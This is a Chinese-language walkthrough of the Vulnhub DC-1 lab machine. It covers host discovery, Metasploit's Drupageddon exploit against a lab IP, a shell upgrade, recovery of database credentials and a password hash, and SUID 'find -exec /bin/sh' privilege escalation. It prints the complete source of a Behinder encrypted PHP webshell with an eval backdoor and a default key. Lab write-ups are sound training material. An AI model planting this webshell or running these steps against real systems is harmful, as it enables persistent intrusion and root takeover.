Vulnhub靶场笔记-DC-1
DC-1靶机
一、环境配置
更改网络适配器为NAT模式
二、主机探测
在物理机中查看VMnet8网卡
使用fscan
探测DC-1靶机ip地址为:192.168.157.133
三、漏洞利用
同时扫描出目标可能存在drupal-cve-2014-3704-sqli
,使用msf查看是否有利用模块
1
msf6 > search cve-2014-3704
使用改模块
1
msf6 > use 0
查看漏洞利用信息
1
msf6 exploit(multi/http/drupal_drupageddon) > show options
设置目标RHOSTS为192.168.157.133
1
set RHOST 192.168.157.133
漏洞利用成功
1
msf6 exploit(multi/http/drupal_drupageddon) > run
四、获取flag
flag1
在当前目录下发现flag1
当前shell不太友好使用python获得一个可交互的输入终端
1
python -c 'import pty; pty.spawn("/bin/bash")'
或者写入冰蝎马连接操作
在/vat/www/
目录下写个冰蝎马方便后续操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
flag2
根据flag1的内容可知需要我们去寻找配置文件
在/var/www/sites/default/
目录下的settings.php
文件中找到了flag2以及数据库的用户名(dbuser)和密码(R0ck3t)等相关信息。
flag3
根据MySQL
的用户名密码登录MySQL
在drupaldb
数据库中的users
表中找到密码
通过cmd5查看密文:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
的明文为:53cr3t
登录网站:
flag4
根据flag3
的内容可联想到/etc/shadow
但是没有权限读取,读取/etc/passwd
可看到flag4
1
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
1
cat etc/passwd
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
flag5
根据flag4内容可知下一步需要提权。
以下任意一条命令都可以找到正在系统上运行的所有SUID可执行文件。
1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
可以看到find命令是以root权限执行的,它的参数如下:
1
2
3
4
5
find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录
如果加了 -exec 参数,就会以root权限把find的字符串当作命令去执行。
1
find sites -exec /bin/sh \;
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
本文由作者按照 CC BY 4.0 进行授权